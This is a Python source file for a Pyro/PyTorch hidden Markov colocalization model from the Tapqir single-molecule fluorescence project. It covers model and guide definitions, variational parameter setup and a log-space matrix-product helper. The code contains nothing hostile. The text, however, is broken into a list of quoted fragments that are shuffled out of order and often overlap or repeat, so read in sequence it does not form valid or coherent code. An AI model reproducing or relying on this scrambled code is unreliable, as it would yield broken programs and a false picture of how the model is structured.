"self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None] pyro.sample(",
"math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param(",
"-> torch.Tensor: \"\"\" For a tensor ``x`` whose time dimension is -3, computes::",
"fdx, self.cdx) # sample background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean /",
"), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 + self.K) ms, heights, widths,",
"), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25,",
") pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) /",
"torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification pyro.param( \"z_trans\", lambda: torch.ones(",
"if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor:",
"self.vectorized: fsx, fdx = fdx else: fsx = fdx # fetch data obs,",
"return self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`.",
"target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample background intensity background = pyro.sample(",
"), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1)",
"1 + self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1 +",
"time-dimension. \"\"\" name = \"hmm\" def __init__( self, S: int = 1, K:",
"+ 1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx,",
"import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden",
"**Variational Distribution** \"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"),",
"in a single image. :param channels: Number of color channels. :param device: Computation",
"SVI that supports - exhaustive enumeration over discrete sample sites, and - local",
"len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape + (1, 1)) return result @property",
") pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) # classification",
"even_time: contracted = torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits = contracted",
"result @property def z_probs(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific",
"1), ), dim=-1, ) # spots spots = pyro.plate(\"spots\", self.K) # aoi sites",
"ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits:",
"** 2, ), ) # sample hidden model state (1+S,) z_probs = (",
"from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos",
"0, :, :] @ x[..., 1, :, :] @ ... @ x[..., T-1,",
"self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev = z_curr def guide(self): \"\"\"",
"device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param(",
"background_mean / background_std ** 2, ), ) # sample hidden model state (1+S,)",
"contracted else: sum_terms.append(logits) # handle root case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term)",
"not yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine learning",
"pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) /",
"heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths,",
"+ torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F),",
"= pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2, background_mean / background_std **",
"pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma(",
"), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P +",
":, :] @ x[..., 1, :, :] @ ... @ x[..., T-1, :,",
"sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time // 2 *",
").to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\",",
"append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights,",
"= sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time // 2",
"as ndx: ndx = ndx[:, None] # background mean and std background_mean =",
"lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2 + torch.finfo(self.dtype).eps,",
"ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) # observed data pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1),",
"z_prev = None for fdx in frames: if self.vectorized: fsx, fdx = fdx",
"classification pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 + self.S, 1 + self.S,",
"device=device), constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param(",
"f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2,",
"\"\"\" hmm ^^^ \"\"\" import math from typing import Union import torch import",
"2 * 2 if time > even_time: new_left_term[..., time - 1 : time,",
"+ 1) / (self.S + 1)).to_event( 1 ), ) trans = expand_offtarget(trans) lamda",
"pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample(",
"T-1, :, :] but does so numerically stably in log space. \"\"\" batch_shape",
"2 : even_time // 2 + 1, :, : ] left_term = left_term[...,",
"@property def pspecific(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific spot",
"from pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex from pyroapi import distributions as",
"self.data.fetch(ndx, fdx, self.cdx) # sample background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean",
"(2 * proximity)) ** 2 - 1), ), dim=-1, ) # spots spots",
"pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P",
"1) / 2, (self.data.P + 1) / 2, ), ) # append ms.append(m)",
"with aois as ndx: ndx = ndx[:, None] # background mean and std",
"from pyroapi import distributions as dist from pyroapi import handlers, infer, pyro from",
"= sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term = sum_terms.pop()",
":param vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\" def __init__( self, S: int",
") pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) /",
"logits.size(-3) > 1: time = logits.size(-3) even_time = time // 2 * 2",
"2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P",
"\"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 + self.K) ms, heights, widths, xs, ys",
"if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2,",
"None for fdx in frames: if self.vectorized: fsx, fdx = fdx else: fsx",
"= ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int) and fdx < 1 else",
"infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a",
"\"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12), ), ) #",
"proximity)) ** 2 - 1), ), dim=-1, ) # spots spots = pyro.plate(\"spots\",",
"data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive,",
"self.K))[..., theta, kdx]), ) with handlers.mask(mask=m > 0): # sample spot variables height",
"), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P +",
":, is_ontarget.long()] if isinstance(fdx, int) and fdx < 1 else Vindex(trans)[..., z_prev, :,",
"AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2, (self.data.P",
"2, (self.data.P + 1) / 2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta(",
"present in a single image. :param channels: Number of color channels. :param device:",
"dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0,",
"2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive,",
"site in the guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else",
"supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL. Bayesian machine learning analysis of",
"r\"\"\" Probability of there being a target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log())",
"fdx], -(self.data.P + 1) / 2, (self.data.P + 1) / 2, ), )",
"\"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1)) ) init = expand_offtarget(init) trans",
"0, (self.data.P + 1) / math.sqrt(12), ), ) # spots spots = pyro.plate(\"spots\",",
"``x`` whose time dimension is -3, computes:: x[..., 0, :, :] @ x[...,",
":]), dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) # handle root case sum_term",
"lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex,",
"self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\"",
"< 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\":",
"is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample background intensity background = pyro.sample( f\"background_{fdx}\",",
"* pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P +",
"Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"w_mean\"))[kdx, ndx,",
"def model(self): \"\"\" **Generative Model** \"\"\" # global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50))",
"K, channels, device, dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params =",
"f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain,",
"logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) # handle",
"def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\" return torch.einsum(",
"for kdx in spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx]",
"logits = contracted else: sum_terms.append(logits) # handle root case sum_term = sum_terms.pop() left_term",
"device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda:",
"for fdx in frames: if self.vectorized: fsx, fdx = fdx else: fsx =",
"(even_time // 2, 2, state_dim, state_dim) ) x, y = x_y.unbind(-3) contracted =",
"@ x[..., T-1, :, :] but does so numerically stably in log space.",
"- self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive,",
"self.data.offset.mean, device=device, ), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, )",
"\"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2 +",
"fluorescence colocalization images. bioRxiv. 2021 Oct. doi: `10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of",
"1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1), 2, device=device),",
"dtype: Floating point precision. :param use_pykeops: Use pykeops as backend to marginalize out",
"), ) # spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois =",
"import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model** .. note:: This",
"pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2",
"else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None] # background",
":, :] = left_term[ ..., even_time // 2 : even_time // 2 +",
"r\"\"\" Probability of there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property",
"jit=False): \"\"\" A trace implementation of ELBO-based SVI that supports - exhaustive enumeration",
"handlers.mask(mask=m > 0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx]",
":] but does so numerically stably in log space. \"\"\" batch_shape = logits.shape[:-3]",
"pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1),",
":] = left_term[ ..., even_time // 2 : even_time // 2 + 1,",
"torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(z=1)` \"\"\" result =",
"# sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx,",
"def pspecific(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(\\mathsf{specific})`",
"+ 1) / 2, ), ) z_prev = z_curr def init_parameters(self): \"\"\" Initialize",
"data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1)",
"torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda:",
"= fdx else: fsx = fdx # sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma(",
"1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx,",
"sum_terms: sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time",
"** 2 - 1), ), dim=-1, ) # spots spots = pyro.plate(\"spots\", self.K)",
"handle root case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep while",
"pyro.param( \"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 + self.S, 1 + self.S, device=device,",
"sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term =",
"obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample background intensity background =",
"size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2 * proximity))",
"constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median - self.data.offset.mean, device=device, ),",
"/ 2 + torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), )",
"Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], Vindex(pyro.param(\"h_beta\"))[kdx, ndx, fdx], ), ) pyro.sample(",
"Contributors to the Tapqir project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import",
"aoi sites aois = pyro.plate( \"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time",
"\"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K,",
"), ) z_prev = z_curr def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device",
"constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F), 0.5,",
"self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\"",
"data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2 + torch.finfo(self.dtype).eps, (data.P + 1)",
"infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\",",
"), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5,",
") trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size",
"intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), )",
"device=device, ), constraint=constraints.positive, ) pyro.param( \"background_std_loc\", lambda: torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param(",
":, :]), dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) # handle root case",
"molecules. :param K: Maximum number of spots that can be present in a",
"-1), self.use_pykeops, ), obs=obs, ) z_prev = z_curr def guide(self): \"\"\" **Variational Distribution**",
"- torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0),",
"pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample( \"lamda\", dist.Gamma( pyro.param(\"lamda_loc\") * pyro.param(\"lamda_beta\"), pyro.param(\"lamda_beta\"), ),",
"pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") *",
"self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def",
"2, (self.data.P + 1) / 2, ), ) pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx,",
"= pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S + 1)) ) init =",
"Bayesian machine learning analysis of single-molecule fluorescence colocalization images. bioRxiv. 2021 Oct. doi:",
"distributions as dist from pyroapi import handlers, infer, pyro from torch.nn.functional import one_hot",
"single image. :param channels: Number of color channels. :param device: Computation device (cpu",
"+ 1, self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S +",
"ndx, fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx,",
"sum_terms.append(logits) logits = contracted else: sum_terms.append(logits) # handle root case sum_term = sum_terms.pop()",
"handlers, infer, pyro from torch.nn.functional import one_hot from tapqir.distributions import KSMOGN, AffineBeta from",
"xs, ys = [], [], [], [], [] for kdx in spots: specific",
"ndx[:, None] # background mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std =",
"1, K: int = 2, channels: Union[tuple, list] = (0,), device: str =",
"infer={\"enumerate\": \"parallel\"}, ) for kdx in spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr,",
"dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:,",
"infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1 + self.K) ms, heights, widths, xs,",
"pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12), ), ) # spots spots =",
"dtype: str = \"double\", use_pykeops: bool = True, vectorized: bool = False, ):",
":] x_y = even_part.reshape( batch_shape + (even_time // 2, 2, state_dim, state_dim) )",
"torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ), obs=obs, ) z_prev = z_curr def guide(self): \"\"\" **Variational",
"= False, ): self.vectorized = vectorized super().__init__(S, K, channels, device, dtype, use_pykeops) self.conv_params",
"z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical(",
"spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta(",
"parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) /",
"z_curr def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device = self.device data =",
"return (infer.JitTraceEnum_ELBO if jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor)",
"lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive,",
"lambda: torch.ones(self.S + 1, self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda:",
"device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75",
"torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device),",
"tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color",
"ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m >",
") # time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else",
"Tapqir project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math from typing",
"Efficient fitting is not yet supported. **Reference**: 1. <NAME>, <NAME>, <NAME>, Theobald DL.",
": time, :, :] = left_term[ ..., even_time // 2 : even_time //",
"dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1) / (2 *",
"of distinct molecular states for the binder molecules. :param K: Maximum number of",
"for kdx in spots: specific = onehot_theta[..., 1 + kdx] # spot presence",
"spots: specific = onehot_theta[..., 1 + kdx] # spot presence m = pyro.sample(",
"over any sample site in the guide. \"\"\" if self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO",
"time > even_time: new_left_term[..., time - 1 : time, :, :] = left_term[",
"ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"x_mean\"))[kdx,",
"# sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] * Vindex(pyro.param(\"h_beta\"))[kdx, ndx,",
"one_hot from tapqir.distributions import KSMOGN, AffineBeta from tapqir.distributions.util import expand_offtarget, probs_m, probs_theta from",
"), ) pyro.sample( \"proximity\", AffineBeta( pyro.param(\"proximity_loc\"), pyro.param(\"proximity_size\"), 0, (self.data.P + 1) / math.sqrt(12),",
"torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\",",
"__init__( self, S: int = 1, K: int = 2, channels: Union[tuple, list]",
"torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda:",
"root case sum_term = sum_terms.pop() left_term = HMM._contraction_identity(sum_term) # down sweep while sum_terms:",
"from pyro.ops.indexing import Vindex from pyroapi import distributions as dist from pyroapi import",
"= ndx[:, None] # background mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std",
"= logits.shape[:-3] state_dim = logits.size(-1) sum_terms = [] # up sweep while logits.size(-3)",
") pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S +",
"0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A trace implementation of",
"\"aois\", self.data.Nt, subsample=self.n, subsample_size=self.nbatch_size, dim=-2, ) # time frames frames = ( pyro.vectorized_markov(name=\"frames\",",
"\"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device),",
"1, 1), 2, device=device), constraint=constraints.positive, ) pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, )",
"m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot presence probability :math:`q(m=1)`. \"\"\" return torch.einsum( \"knf,nf->knf\",",
"probs_theta from tapqir.models.cosmos import Cosmos class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model**",
"name = \"hmm\" def __init__( self, S: int = 1, K: int =",
"f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta(",
"1) / 2, (self.data.P + 1) / 2, ), ) y = pyro.sample(",
":] = left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term = new_left_term else:",
"time, :, :] = left_term[ ..., even_time // 2 : even_time // 2",
"This model is used for kinetic simulations. Efficient fitting is not yet supported.",
"`10.1101/2021.09.30.462536 <https://doi.org/10.1101/2021.09.30.462536>`_. :param S: Number of distinct molecular states for the binder molecules.",
"..., even_time // 2 : even_time // 2 + 1, :, : ]",
"# background mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100))",
"spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois = pyro.plate( \"aois\", self.data.Nt,",
"pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ),",
"2, (self.data.P + 1) / 2, ), ) # append ms.append(m) heights.append(height) widths.append(width)",
"-(self.data.P + 1) / 2, (self.data.P + 1) / 2, ), ) y",
"def z_probs(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(z=1)`",
